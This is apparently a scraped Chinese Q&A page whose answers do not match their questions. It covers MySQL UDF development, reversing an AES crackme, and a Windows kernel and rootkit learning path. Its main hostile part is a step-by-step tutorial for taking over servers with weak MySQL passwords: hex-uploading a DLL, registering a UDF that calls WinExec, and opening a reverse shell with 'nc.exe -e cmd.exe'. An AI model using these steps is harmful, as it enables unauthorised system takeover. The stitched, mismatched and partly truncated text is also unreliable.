现在必须决定需要哪类函数。本质上有两种选择:该函数是聚合函数吗?(后面将学习很多关于聚合函数的内容)返回类型是什么?有4个选择:类型 描述STRING 一个合法的字符串,转换成char*类型INTEGER 一个普通的整型变量,转换成64位的整型REAL型 一个俘点数,转换成double型DECIAML型 这个并没真正的结束,MYSQL将做字符串对待 现在开始讨论关于非聚合函数。必须声明并执行一些MYSQL使用UDF时用到的函数,但首先一些必要的结构必须并确:UDF_INIT:类型 名称 描述<code> my_bool maybe_null 是1如果函数能返回NULLunsigned int decimals 针对REAL函数unsigned long max_length 针对字符串函数char * ptr 自由指针针对函数的数据my_bool const_item 0如果结果是独立的UDF_ARGS:类型 名称 描述unsigned int arg_count 成员数量enum Item_result * arg_type 成员类型的数组char ** args 指向成员的指针的数组unsigned long * lengths 成员长度的数组(针对字符串)char * maybe_null "maybe_null"标记的数组char ** attributes 指向成员属性的指针的数组unsigned long * attribute_lengths 属性长度数组现在看一下该函数:De-/Initialization: Collapseextern "C" my_bool MyTest_init(UDF_INIT *initid, UDF_ARGS *args, char *message){ //非常重要的一件事是建立内存 //需要 //需要一个很长的变量来保存检测数 //虽然该例中不需要 longlong* i = new longlong; // 建立变量 *i = 0; // 设初值//指针变量中保存为一个字符指针 //确认不会遇到类型问题 initid->ptr = (char*)i;//检测成员的格式 if (args->arg_count != 1) { strcpy(message,"MyTest() requires one arguments"); return 1; } if (args->arg_type[0] != INT_RESULT) { strcpy(message,"MyTest() requires an integer"); return 1; } return 0; }extern "C" void MyTest_deinit(UDF_INIT *initid){ //这里必须清空所分配的内存 //引入函数 delete (longlong*)initid->ptr;}The actual function:extern "C" longlong MyTest(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error){ /*最后这是实际的工作部分。该函数为每个记录调用,返回值或指向当前值的指针保存在UDF_ARGS变量中。必须获得值,完成计算并返回值。注意可以通过UDF_INIT变量进入MyTest_init中分配的内存,该例中将为每个值设置为5 */ return *((longlong*)args->args[0])+5;}全部完成!现在必须编译连接库,然后将其拷贝到操作系统可以加载的目录下。通常在WINDOWS里是系统变量的定义路径。个人使用的是MYSQL服务器的bin目录。必须确认该目录是其它MYSQL不能访问的。然后确认所有MYSQL需要的函数功能。必须告诉MYSQL,这必须直接了当:执行以下SQL指令:CREATE [AGGREGATE] FUNCTION MyTest RETURNS [INTEGER|STRING|REAL|DECIMAL] SONAME the_libraries_exact_name现在可以想使用其他函数一样使用它了。5)成员函数:现在说一下成员函数。当的UDF是个成员函数,必须增加一些函数,一些函数在不同的方式中使用。调用次序是:调用yTest_init来分配内存(就象一般的UDF一样)MYSQL将表分类是通过GROUP BY每组里的第一行调用MyTest_clear每组里的第一列调用 MyTest_add在组改变后或最后一列改变后调用MyTest得到结果重复3到5直到所有列被处理。调用MyTest_deinit清空内存现在让看一下新的聚合函数所需的函数。该例中将简单的添加所有的值。(就象本地SUM函数)void MyTest_clear(UDF_INIT *initid, char *is_null, char *error){ /*为每个新组重新将总数设置为0,当然必须分配一个longlong类型变量在在init函数中,并分配给指针 */ *((longlong*)initid->ptr) = 0;}void MyTest_add(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error){ //为每列将当前值添加到总数 *((longlong*)initid->ptr) = *((longlong*)initid->ptr) + *((longlong*)args->args[0]);}longlong MyTest(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error){ //最后返回总值 return *((longlong*)initid->ptr);}6)更进一步的问题:在写一些复杂的UDF时需要注意几个问题:一个字符串函数应该返回一个指向结果的指针并且设置*result和*length作为目录和返回值的长度值。例如:memcpy(result, "result string", 13);*length = 13;MyTest建立的结果缓冲区是255字节。如果的结果保存在里面。不必担心结果的内存分配问题。如果的字符串函数需要返回一个大于255字节长度的字符串。必须用malloc或新的MyTest_init或MyTest函数分配,然后用MyTest_deinit释放它。能用UDF_INIT的指针保存分配的内存地址,并在MyTest中重用。在主函数中指定一个错误返回,设置 *error为1:如果MyTest()为任何列将*error设置为1,则函数的值是NULL针对于当前列,以及对任何的通过MyTest()被调用的声明中并发的列请求。想了解更多内容看一下MYSQL在线帮助。7)一些指导方针:如果确实希望的UDF运行良好,这里有一些建议:)不要在UDF中调用任何其他的程序或进程不要保存任何的本地信息。(这些在普通的库里已经共享)不要分配任何的全局或静态的变量。始终检测成员的类型。就象MYSQL将所有类型都转换为字符类型。如果将一个字符类型转换成整型指针可能会出错。特别注意内存的分配。如果有内存泄漏问题会使服务器彻底崩溃!8)调式UDF调试UDF需要勇气因为如果UDF有问题,每次都会使整个MYSQL服务器死掉。所以写了一个命令行工具,来围绕这个问题工作。仅仅运行它,它会模仿"SELECT"调用指令将结果保存到库文件中,可以打印所有的结果行。所以当UDF存在一些错误只是该程序崩溃而不会是整个服务器。
2023-07-05 03:10:242

陶益数码ewebeditor如何使用

AES的全称是Advanced Encryption Standard,即高级加密标准。该项目由美国国家标准技术研究所(NIST)于1997年开始启动并征集算法,在2000年确定采用Rijndael 作为其最终算法,并于2001年被美国商务部部长批准为新的联邦信息加密标准(FIPS PUB 197)。FIPS PUB 197中说明该标准的正式生效日期是2002年5月26日。该标准将被NIST每5年重新评估一次。AES采用的Rijndael算法的设计者是Joan Daemen(Proton World Int.l)和Vincent Rijmen(Katholieke Universiteit Leuven, ESAT-COSIC),算法的名字来自两人名字中字母的组合。Rijndael是一个对称的分组加密算法,分组长度和密钥长度都可变,可分别单独指定为 128比特,192比特和256比特。但AES中的数据分组长度只采用了Rijndael中的128比特,而不使用192和256比特,密钥长度和 Rijndael的一致,也分别为128比特,192比特和256比特,并分别被称为AES-128,AES-192,AES-256。AES和传统的分组密码算法不同的是它不采用Feistel结构(比如DES中采用的),而是采用了三个不同的可逆一致变换层:线性混合层、非线性层、密 钥加层。具体的算法数学基础和过程请祥见: 197.pdf AES算法的识别、跟踪技巧及Crackme实例分析1 AES算法的判断识别AES中有自己特殊的S盒与逆S盒,可以将此作为判别标志,比如:S盒开头为:637C777BF26B6FC53001672BFED7AB76CA82C97DFA5947F0..... 解密过程使用的逆S盒开头为:52096AD53036A538BF40A39E81F3D7FB7CE339829B2FFF87....我们用16进制编辑器打开目标文件搜索,或在内存中搜索,如果找到的话就基本可以确定目标是采用AES的算法。2 AES算法分析的基本技巧若要跟踪如何加密或解密的过程,那是非常麻烦的。有一个偷懒的办法,一般C语言的实现AES算法都会在正式加密数据前进行初始化密钥,如果这个Call被你找到的话就可以了,因为这个Call会传递key字符串。找到key就意味着我们可以自己用程序来来计算。3 实例分析本实例是lordor[Nuke Group]编写的AES算法的Crackme程序(已收录到光盘,文件是crackme.rar)。首先可以使用peid来检测crackme.exe,看是否加壳了,还好,Lordor特善良,没有加壳,另外peid有一个插件kanal,可以检查文件中是否有已知的加密手段,我们可以在kanal中明确看到该crackme的确使用了Rijndael。我们用Softice的symbol loader载入并运行crackme.exe。点击Help->Register,可以看到程序已经给出了一个code:718368679(注意:不同机器不同,我们称其为机器码)。然后我们在Serial框内随意输入一个序列号,用Softice下一个断点bpx getdlgitemtexta,然后点击Check,我们就会发现下面的代码::00401248 MOV ESI,[ESP+000004A4]:0040124F PUSH 32:00401251 PUSH 0040E374:00401256 PUSH 000003E9:0040125B PUSH ESI:0040125C CALL [USER32!GetDlgItemTextA] ;这个Call后,我们在40E374就可以看到刚才随意输入的序列号!:00401262 PUSH 00:00401264 PUSH 00:00401266 PUSH 000003E8:0040126B PUSH ESI:0040126C CALL [USER32!GetDlgItemInt] ;这个Call后,EAX返回的是0x2ad16fa7,即十进制的机器码718368679:00401272 PUSH 10 :00401274 PUSH 0040E340 :00401279 PUSH EAX:0040127A MOV [ESP+14],EAX:0040127E CALL 004076E6 ;将机器码0x2ad16fa7转化为字符串形式,即在40E340处放置:
2023-07-05 03:10:361

在windows平台下的底层开发应该有什么样的学习路线

1.语言C/C++(参考书籍:<<C/C++ Primer>> ,<<C和指针>>,<<数据结构C语言描述>>)),汇编(王爽的汇编语言,作为入门,参考Intel手册,之后参考看雪的<<加密与解密>>,了解PE文件的格式,加壳脱壳和病毒感染的手法,如果是开发的话,只需要了解即可,能用反汇编调试工具去做简单的CrackMe即可),这个阶段大约是大一大二的时间,除去老师上课教的C语言基础,80x86汇编语言以为,很多知识都是自己去扩展。2.windows api(win32sdk) 参考书籍(《Windows程序设计》,《Windows核心编程》,MFC之类的需要使用的时候在参考即可,不必花费太多精力,主要是去了解程序的消息机制,事件等等,应该把主要的精力比如线程注入,Ring3的各种HOOK等。这个阶段是大二下学期的时间,说实话,我这个方面看的太少了,花了好多时间在一些没有意义的事情上,导致到大三的时候参加信息安全比赛做驱动的时候经验严重不足,所以基础太重要了)3.然后就是winows驱动内核的开发(参考书籍,寒江独钓,张帆的Windows驱动开发技术详解,WDK上的各种示例代码) 熟悉各种过滤驱动框架(文件过滤驱动,文件微过滤驱动,tdi,ndis协议,ndis中间层,ndis小端口等等)。 然后就是各种系统底层的原理,进程创建的流程,文件创建的流程,进程间通信的过程,用各种调试,反汇编工具(od,ida,windbg)去跟踪分析,可以写一些Rootkit/Anti-Rootkit工具,比如对于进程隐藏和保护,有SSDT HOOK OpenProcess,摘除进程链表等等,这样有助于对系统底层机制的理解4.后期就是经验和内功了,什么《深入解析Windows操作系统》,《TCP/IP》卷123,《Windows内核原理与实现》等等,说白了,个人认为,底层开发对于调试的功力要求很高,能从蓝屏的dump文件出有用的信息
2023-07-05 03:10:431

如何查看mysql注册的udf

很早网上就有了用mysql弱口令得到webshell教程,但是这次我要说的不是得到webshell,而是直接得到系统权限,看清楚了,是“直接”得到! 首先,我简单说一下mysql弱口令得到系统权限得过程:首先利用mysql脚本上传udf dll文件,然后利用注册UDF DLL中自写的Function函数,而执行任意命令。 思路很简单,网上也有一些教程,但是他们要么没有给具体的代码,要么一句话代过,搞得象我似得小菜很难理解,终于在我付出了几天得不断测试得辛勤劳动后,有了点结果,我把详细过程和相关代码得交给大家,这样大家就可以自己写dll文件,自己生成不同文件得二进制码啦! 下面,我们先说如何生成二进制文件得上传脚本。看看这段mysql脚本代码(网友Mix用的方法): set @a = concat("",0x0123abc1312389…..); set @a = concat(@a,0x4658978abc545e……); …………………. create table Mix(data LONGBLOB);//建表Mix,字段为data,类型为longblob insert into Mix values("");update Mix set data = @a;//@a插入表Mix select data from Mix into DUMPFILE "C:\Winnt\文件名";//导出表中内容为文件 前两句很熟悉把,这个就是我们以前注入的时候,绕过"的解决办法,把代码的16进制数声明给一个变量,然后导入这个变量就行了。只不过这里,因为16进制代码是一个文件的内容,代码太长了,所以就用了concat函数不断把上次得代码类加起来,这样不断累计到一个变量a中。后面几句就很简单了,我都有注释。 后面三句好说,但是前面的那么多16进制数据,手工的话,累人啊!不过你还记得以前有一个exe2bat.vbs脚本吗?这次我们可以把这个脚本修改一下后,得到我们这里需要得mysql脚本!对比exe2bat.vbs生成得文件和我们需要脚本的文件格式,我们可以轻松的得到我们所需的脚本。脚本内容如下: fp=wscript.arguments(0 fn=right(fp,len(fp)-instrrev(fp,"")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod 65536:slh=sl65536 with createobject("scripting.filesystemobject").opentextfile(fp&".txt",2,true) .write "set @a = concat("",0x" for i=1 to sl bt=ascb(midb(str,i,1)) if bt<16 then .write "0" .write hex(bt) if i mod 128=0 then .write ");" vbcrlf "set @a = concat(@a,0x" next end with 好了,现在只要你把所要上传的文件拖到这个脚本图标上面,就可以生成一个同名的txt文件了。这个txt文件,就是我们所需要的mysql脚本,当然我们还需要修改一下这个txt文件(毕竟他是我们偷工减料得来的!),把最后一行生成的多余的那句“set @a = concat("",0x”删除了,加上建表,插值得那三句代码即可! 脚本生成了,如何上传?先登陆mysql服务器: C:>mysql –u root –h hostip –p Mysql>use mysql; //先进入mysql默认得数据库,否则你下一步的表将不知道属于哪个库 Mysql>. E:*.dll.txt; //这儿就是你生成的mysql脚本 按照上面输入命令,就可以看见屏幕文字飞快闪烁(当然网速要快啦),不一会你的文件旧上传完毕了! 下面到达我们的重点,我们上传什么dll文件?就目前我再网上看到的有两个已经写好的dll文件,一个是Mix写得mix.dll,一个是envymask写得my_udf.dll,这两个我都用过,都很不错,但是都也有点不足。先来看看具体的使用过程吧! 先用mix.dll: 登陆mysql,输入命令: Mysql> . e:mix.dll.txt; Mysql> CREATE FUNCTION Mixconnect RETURNS STRING SONAME "C:\windows\mix.dll"; //这儿的注册的Mixconnect就是在我们dll文件中实现的函数,我们将要用他执行系统命令! Mysql> select Mixconnect("你的ip","8080"); //填写你的反弹ip和端口 过一会儿,你监听8080端口的nc,就会得到一个系统权限的shell了!如图1: 这个的确不错,通过反弹得到得shell可以传过一些防火墙,可惜的是,它的这个函数没有写得很好,只能执行一次,当你第二次连接数据库后,再次运行“select Mixconnect("你的ip","8080");”的时候,对方的mysql会当掉!报错,然后服务停止! 所以,使用mix.dll你只有一次成功,没有再来一次的机会!另外根据我的测试,他对Win2003的系统好像不起作用。 再用my_udf.dll: Mysql>. C:my_udf.dll.txt Mysql> CREATE FUNCTION my_udfdoor RETURNS STRING SONAME "C:\winnt\my_udf.dll"; //同样地,my_udfdoor也是我们注册后,用来执行系统命令得函数 Mysql> select my_udfdoor(""); //这儿可以随便写my_udfdoor得参数,相当于我们只是要激活这个函数 好了,现在你可以不用关这个shell了,我们再开一个cmd,使用: D:>nc hostip 3306 * 4.0.*-nt x$Eo~MCG f**k //看到这个后,输入“f**k” ,他是my_udfdoor默认密码,自己无法更改 过一会儿,你就有了系统权限的shell了, 由于他是hook recv版,所以穿墙的能力很强,我是在上一个mix.dll反弹失败的情况下,才使用这个得,他果然不负所望!进系统后,发现它有双网卡,天网防火墙个人版V2.73,对外仅仅开放3306端口,由此可见,my_udf.dll确实有很强的穿透防火墙得能力!但是他也有一个bug,就是再我们连接激活这个函数后(就是使用了命令“select my_udfdoor("");”后),不管你是否连接,只要执行了: Mysql>drop function my_udfdoor; 后,mysql也汇报错,然后挂掉, 所以,你使用这个dll文件无法删除你的痕迹! 最后,然我们自己写一个自定义的dll文件。看能不能解决问题。 我们仅仅使用mysql 得udf的示例作模版即可!看他的示例: #include <stdlib.h> #include <winsock.h> #include <mysql.h> extern "C" { char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error); // 兼容C } char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { char * me = "my name"; return me; // 调用此UDF将返回 my name } 十分简单吧?好,我们只需要稍微改一下就可以有了自己的dll文件了: 下面是我的一个哥们Crackme是修改的: #include <stdlib.h> #include <windows.h> #include "mysql.h" extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);// sys_name就是函数名,你可以任意修改 __declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) //当然这儿的sys_name也得改! { char me[256] = {0}; if (args->arg_count == 1){ strncpy(me,args->args[0],args->lengths[0]); me[args->lengths[0]]=""; WinExec(me,SW_HIDE); //就是用它来执行任意命令 }else strcpy(me,"do nonthing. "); return me; } 好,我们编译成sysudf.dll文件就可以了!我们来用他实验一把! 看操作: Mysql>. C:sysudf.dll.txt Mysql>Create function sys_name returns string soname "C:\windows\sysudf.dll"; Mysql>. Nc.exe.txt //把nc.exe也上传上去 Mysql>select sys_name("nc.exe -e cmd.exe 我的ip 8080"); //sys_name参数只有一个,参数指定要执行的系统命令 好,看看在Win2003中的一个反弹shell了, 当然,我们你也可以不反弹shell了,而去执行其他命令,只不过不论是否执行成功,都没有回显,所以要保证命令格式正确。对于这个dll文件,经过测试,不论何时“drop function sys_name;”,都是不会报错的,同时也可以多次运行不同命令。至于他的缺点,就是他的穿墙能力跟Mix.dll一样不算太强,但对于实在穿不透的墙,直接运行其他命令就是最好的选择了。 上面三个dll文件可谓各有所短,如何选择,就看你遇到的实际情况了。 好了,从脚本得编写使用到dll文件编写使用,说了这么多,现在大家应该都会了吧?题目说的是弱口令得到系统权限,但是如果你在注入等其他过程中,爆出了config.php中的mysql密码,不也是可以使用的吗?这样我们岂不是也找到继Serv-u后又一大提权方法了吗?
2023-07-05 03:11:031

为什么脱壳后运行就提示非法?

首先你要知道你的目标是什么壳,用PEID查看。。然后去上网搜些脱文。。不过你OD都不会用就学脱壳了?先学破解吧。。找些没壳的程序练练手。。比如CRACKME脱壳从压缩壳开始。。脱便所有压缩壳才去碰加密壳。。在脱壳之前要学PE结构。。如果不懂PE结构的话。。那你还是找点破文照样脱吧。脱壳不是那么简单的。。。
2023-07-05 03:11:161

有没有aes的教程,加密解密的

,也分别为128比特,192比特和256比特,并分别被称为AES-128,AES-192,AES-256。AES和传统的分组密码算法不同的是它不采用Feistel结构(比如DES中采用的),而是采用了三个不同的可逆一致变换层:线性混合层、非线性层、密钥加层。具体的算法数学基础和过程请祥见: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf AES算法的识别、跟巧及Crackme实例分析1 AES算法的判断识别AES中有自S盒与逆S盒,可以将此作为判别标志,比如:S盒开头为:637C777BF26B6FC53001672BFEDB76CA82C97DFA5947F0..... 解密过程使用的盒开头为:52096AD53036A538BF40A39E81F3D7FB7CE339829B2FFF87
2023-07-05 03:11:232

帮我想一个英文名!,100分,谢谢!!!.

Chanel 这个应该再熟悉不过了吧^___^
2023-07-05 03:11:3815

谁能解释一下这几条浮点寄存器指令的意思..

反编译一下就好看了
2023-07-05 03:12:011

我是一名学生,但我的外语一点也不会,我还想学但就是学不进去,

你学师范的,就是将来要当老师了?我也是老师唉.呵呵.不管当什么老师,懂得外语只能是对你有好处的.你如果一点也不会,那就是要从字母学起了?如果那样的话,你可以将字母和字母发音结合起来学习,比如h /h/,sh/sh/...要自学,你一定要学会字母和发音,了解它们的关系,这样你一看到一个单词,不用查字典,也能读出它的发音.大多熟英文单词是有规律的,除少数单词和一些外来词.掌握了大多数,攻破小部分不是很容易了吗?我简单说下字母和它们的发音.1.英文有五个元音(a, e, i, o, u),我跟学生说它们是"灯",letter lights,要靠这些字母灯照亮其它字母,没有灯,就不能成为一个单词.所以每个单词都起码有一盏"灯":pig, ox, apple, up, bed.这些字母都有两个发音:短音和长音. cub--cube, rat--rate.bet---beet 发长音都有一定规律,你可买本书来看下,最好是关于"phonics",美国的小朋友从幼儿园开始就做这样的练习.到了一年级他们就能够看见生字读得出来(decode).2.英文的辅音相对来说比较简单,因为它们跟中文的拼音有很多相似处.你要记的是th, ch,sh,bl,fl,str,tr等的搭配.3.去买本字典,尽管网上有,还是身边有本字典比较好.从简单的开始学起.每天大声朗读课文,看见不懂的此,尝试拼读(sound it out),你会读"cat",就会读 "fat"," sat", "mat", "bat, "flat", "rat".不知这样说你是否会明白.4.再买套"Step by Step"的英文书,有浅入深,慢慢琢磨.主要是掌握语法的基本知识.这些书基本都能自己看懂的. 我觉得最好的学习方法就是学跟你熟悉的,跟你生活有关的东西.这样你才会持之以恒学下去.你可看些跟你教课有关的英文书,教育也好,数学也好... 5.建议你每天都看看英文报纸,你也可上网看英语新闻,雅虎,MSN,CNN,等.你不需要每个字都去查的.看懂多少算多少.新闻报道,天气,交通,社会现象,体育新闻,娱乐等多多少少你都会看懂些的.久而久之,你不仅扩大了英文的词汇量,还有了英语的语感.6.最后也是最重要的,定下决心就要持之以恒.把学英文当成一种习惯,一种爱好.听英语歌,看英文电影.有时间也可到英文聊天室聊下天,增加你的书面表答能力或是用英文写写邮件. 希望你心想事成!
2023-07-05 03:12:0910

DES是什么意思?

DES全称为Data Encryption Standard,即数据加密标准,是一种使用密钥加密的块算法。1977年被美国联邦政府的国家标准局确定为联邦资料处理标准(FIPS),并授权在非密级政府通信中使用,随后该算法在国际上广泛流传开来。需要注意的是,在某些文献中,作为算法的DES称为数据加密算法(Data Encryption Algorithm,DEA),已与作为标准的DES区分开来。扩展资料:1、数据加密标准DES的原始思想可以参照二战德国的恩格玛机,其基本思想大致相同。传统的密码加密都是由古代的循环移位思想而来,恩格玛机在这个基础之上进行了扩散模糊。但是本质原理都是一样的。现代DES在二进制级别做着同样的事:替代模糊,增加分析的难度。2、折叠加密原理DES 使用一个 56 位的密钥以及附加的 8 位奇偶校验位,产生最大 64 位的分组大小。这是一个迭代的分组密码,使用称为 Feistel 的技术,其中将加密的文本块分成两半。使用子密钥对其中一半应用循环功能,然后将输出与另一半进行"异或"运算;接着交换这两半,这一过程会继续下去,但最后一个循环不交换。DES 使用 16 个循环,使用异或,置换,代换,移位操作四种基本运算。参考资料:百度百科-DES
2023-07-05 03:12:324

翻译~~!

Choice "green" person: The green takes to the people like the forestand the mountain the stable serene mood, the green continuously givesthe person the auspicious comfortable feeling. You like the flame likethat, by yours compassion flame gradually warm person, you to anyperson all very gentle, treats them by the broad mood, your laughter,anger, sorrow, and happiness is less on the mood, the face alwaysmaintains an expression very much, but likes you the person instead tobe able because of so but to live to you the faith feeling, only isyou handles the matter to go to extremes prudently, carefully flows tois stubborn.
2023-07-05 03:12:573

推荐几款C++和反汇编的书·· 简单点

反汇编,那就看点汇编的学吧,王爽汇编,图书并茂,看了就知道。之余C++的貌似经典中的还没什么图书并茂,简单的书了。《c++primer》此本已足够。在逆向方面看点,看点看雪的那个什么精华包就行了http://www.pediy.com/essay/PEDIY_CrackMe_2007.rarhttp://www.pediy.com/essay/pediy.com/pediy.com.zip
2023-07-05 03:13:043

用VC6将下面这段代码用上加密算法,不让密码明文显示,也就是相当于把密码加密一下,加强安全性。

char buff[1024],buff2[1024],key[1024];int len=0;strcpy(buff,"8FCDF875C1307114C43C07DE30F2D84B");strcpy(key,"yueguang");typedef int (WINAPI ICEPUB_DECRYPTTEXT2)(char *strInputHexstring, char *strOutput, char *strKey);ICEPUB_DECRYPTTEXT2 *icePub_decryptText2 = 0;HINSTANCE hDLLDrv = LoadLibrary("icePubDll.dll");if(hDLLDrv){ icePub_decryptText=(ICEPUB_DECRYPTTEXT2 *)GetProcAddress(hDLLDrv,"icePub_decryptText2");}if(icePub_decryptText2) len=icePub_decryptText2(buff,buff2,key);if(hDLLDrv) FreeLibrary(hDLLDrv);//AfxMessageBox(buff2);... ...if((user=="Crack")&&(pwd==buff2))//判断用户名和密码http://dl.icese.net/dev.php?f=icePubDll.rar 下载
2023-07-05 03:13:111